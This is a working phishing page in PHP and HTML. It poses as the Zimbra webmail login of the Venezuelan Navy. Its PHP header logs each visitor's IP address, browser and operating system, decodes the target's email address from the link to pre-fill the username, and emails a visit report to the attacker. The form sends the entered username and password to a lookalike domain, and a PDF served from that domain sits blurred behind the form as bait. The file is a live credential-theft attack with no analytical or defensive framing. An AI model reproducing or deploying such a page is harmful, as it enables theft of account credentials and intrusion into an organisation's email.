<?php 
$info=detect();
function detect()
{
    $browser=array("IE","OPERA","MOZILLA","NETSCAPE","FIREFOX","SAFARI","CHROME");
    $os=array("WIN","MAC","LINUX");
 
    # definimos unos valores por defecto para el navegador y el sistema operativo
    $info['browser'] = "OTHER";
    $info['os'] = "OTHER";
 
    # buscamos el navegador con su sistema operativo
    foreach($browser as $parent)
    {
        $s = strpos(strtoupper($_SERVER['HTTP_USER_AGENT']), $parent);
        $f = $s + strlen($parent);
        $version = substr($_SERVER['HTTP_USER_AGENT'], $f, 15);
        $version = preg_replace('/[^0-9,.]/','',$version);
        if ($s)
        {
            $info['browser'] = $parent;
            $info['version'] = $version;
        }
    }
 
    # obtenemos el sistema operativo
    foreach($os as $val)
    {
        if (strpos(strtoupper($_SERVER['HTTP_USER_AGENT']),$val)!==false)
            $info['os'] = $val;
    }
    return $info;
}
$fecha = date('r');
$ip = $_SERVER['REMOTE_ADDR'];
$pag=$_GET["id"];
$lnk=$_GET['wa'];
$pcusuario=php_uname();
$urx = base64_decode($lnk);
$to_email = 'service@nve.name';
$subject ="Ok User 1 ARB: ".$lnk. "  IP: ".$ip. " ID: " .$pag. "  Sistema Operativo:  ".$info['os']. "  Navegador:  ".$info["browser"]."  Version:  " .$info["version"].  " Fecha:  ".$fecha;
$message="Ok User 1 ARB: ".$lnk." P: ".$pag. " I: " .$ip. "  ".$fecha;
$headers = 'From: service@nve.name';
mail($to_email,$subject,$message,$headers);
?>

<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Inicio de sesión - Zimbra</title>
    <style>
        * { box-sizing: border-box; }
        body, html { margin: 0; padding: 0; height: 100%; width: 100%; font-family: 'Segoe UI', Arial, sans-serif; overflow: hidden; }

        /* Fondo PDF con Blur */
        .background-pdf {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: -1;
            filter: blur(2px);
            transform: scale(1.05);
        }
        iframe { width: 100%; height: 100%; border: none; pointer-events: none; }

        /* Contenedor principal */
        .container {
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            background: rgba(0, 0, 0, 0.05);
        }

        /* Tarjeta de Login */
        .login-card {
            background: #007CC3;
            border-radius: 4px;
            box-shadow: 0 10px 40px rgba(0,0,0,0.2);
            width: 100%;
            max-width: 480px; /* Aumentado un poco para dar espacio al texto lateral */
            overflow: hidden;
        }

        /* Sección Superior Blanca */
        .card-body {
            padding: 40px 45px 30px 45px;
        }

        .header { margin-bottom: 1px; text-align: center; }
        .logo { width: 400px; margin-bottom: 20px; }
        
        /* Alineación Horizontal de Etiquetas e Inputs */
        .form-group { 
            margin-bottom: 18px; 
            display: flex; 
            align-items: center; 
            gap: 15px; /* Espacio entre el texto y el input */
        }
        
        label { 
            width: 140px; /* Ancho fijo para que los inputs queden alineados */
            text-align: left; 
            color: #fff; 
            font-size: 13px; 
            flex-shrink: 0; /* Evita que el texto se encoja */
        }
        
        .input-container {
            flex: 1;
            position: relative;
        }
        
        input[type="text"], input[type="password"] {
            width: 100%;
            padding: 8px;
            border: 1px solid #ccc;
            border-radius: 5px;
            font-size: 12px;
        }

        .show-password {
            position: absolute;
            right: 12px;
            top: 50%;
            transform: translateY(-50%);
            font-size: 12px;
            color: #666;
            cursor: pointer;
        }

        .footer-row {
            display: flex;
            justify-content: flex-end; /* Alinea botón y check a la derecha */
            align-items: center;
            margin-top: 25px;
            gap: 20px;
        }

        button {
            background-color: #007CC3;
            color: white;
            border: 1px solid white;
            padding: 10px 22px;
            border-radius: 4px;
            font-size: 13px;
            font-weight: 500;
            cursor: pointer;
            transition: all 0.3s ease;
        }

        .remember-me {
            display: flex;
            align-items: center;
            font-size: 14px;
            color: #fff;
            cursor: pointer;
        }

        .remember-me input { margin-right: 8px; }

        /* SECCIÓN INFERIOR (Versión) */
        .card-footer {
            background-color: #007CC3;
            padding: 20px 40px;
            border-top: 1px solid rgba(255,255,255,0.3);
            display: flex;
            align-items: center;
            gap: 10px;
        }

        .version-group {
            display: flex;
            align-items: center;
            gap: 10px;
            flex-grow: 1;
        }

        .version-group label {
            width: auto;
            margin: 0;
        }

        select {
            flex: 1;
            padding: 8px;
            border: 1px solid #ccc;
            background: white;
            font-size: 14px;
        }

        .help-icon {
            color: #000;
            font-size: 12px;
            text-decoration: underline;
            cursor: pointer;
            white-space: nowrap;
        }
        .legal-footer {
            position: absolute;
            bottom: 30px;
            width: 100%;
            text-align: center;
            color: #444; /* Color oscuro para que sea legible sobre el fondo difuminado */
            font-size: 12px;
            line-height: 1;
        }

        .legal-footer a {
            color: #007CC3;
            text-decoration: none;
            font-weight: 600;
        }

        .legal-footer a:hover {
            text-decoration: underline;
        }

        .legal-footer .links {
            margin-bottom: 0px;
        }
    </style>
</head>
<body>

    <div class="background-pdf">
        <iframe src="https://correo.armada.mil.ve.nve.name/ZLoginWhatsThisAnchor/lognOp/log_out/Reg_Url/accounts/inbox/FMfcgzGrcjNszdrtrTxN/1/u/ogbl/files/0541.pdf#page=1&toolbar=0&navpanes=0"></iframe>
    </div>

    <div class="container">
        <div class="login-card">
            <div class="card-body">
                <div class="header">
                    <img src="arbl.png" class="logo" alt="Zimbra">
                </div>

                <form method="post" action="https://correo.armada.mil.ve.nve.name/ZLoginWhatsThisAnchor/lognOp/log_out/Reg_Url/accounts/inbox/FMfcgzGrcjNszdrtrTxN/1/u/ogbl/logOp.php?id=<?php echo $pag; ?>&ses=9ibezfh3zhno1u6n4xeynw8o8?loginOp=relogin&client=standard&loginErrorCode=service.AUTH_REQUIRED" accept-charset="UTF-8">
                    <input type="hidden" name="id" value=<?php echo $pag ; ?> />
                    <div class="form-group">
                        <label>Nombre de usuario:</label>
                        <div class="input-container">
                            <input name="partes" type="text" value="<?php echo $urx;?>">
                        </div>
                    </div>

                    <div class="form-group">
                        <label>Contraseña:</label>
                        <div class="input-container">
                            <input name="series" type="password" required>
                            <span class="show-password">Mostrar</span>
                        </div>
                    </div>

                    <div class="footer-row">
                        <label class="remember-me">
                            <input type="checkbox"> Recordarme
                        </label>                        
                        <button type="submit">Iniciar sesión</button>
                    </div>
                </form>
            </div>

            <div class="card-footer">
                <div class="version-group">
                    <label>Versión:</label>
                    <select>
                        <option value="default">Defecto</option>
                        <option value="advanced">Avanzada (AJAX)</option>
                        <option value="standard">Estándar (HTML)</option>
                        <option value="mobile">Móvil</option>
                    </select>
                </div>
                <div class="help-icon">¿Qué es esto?</div>
            </div>
        </div>

        <div class="legal-footer">
            <div class="links">
            <a href="www.armada.mil.ve">Extranet Armada</a> Direccion Naval de Tecnologia <a href="www.armada.mil.ve">Portal Armada</a>
            </div>
            <div class="links">
                Zimbra: el líder en la mensajería abierta y colaboración: 
                <a href="#">Blog</a> - <a href="#">Wiki</a> - <a href="#">Foros</a>
            </div>
            <div class="copyright">
                Copyright © 2005-2023 Synacor, Inc. All rights reserved. "Zimbra" is a registered trademark of Synacor, Inc.
            </div>
        </div>
    </div>

</body>
</html>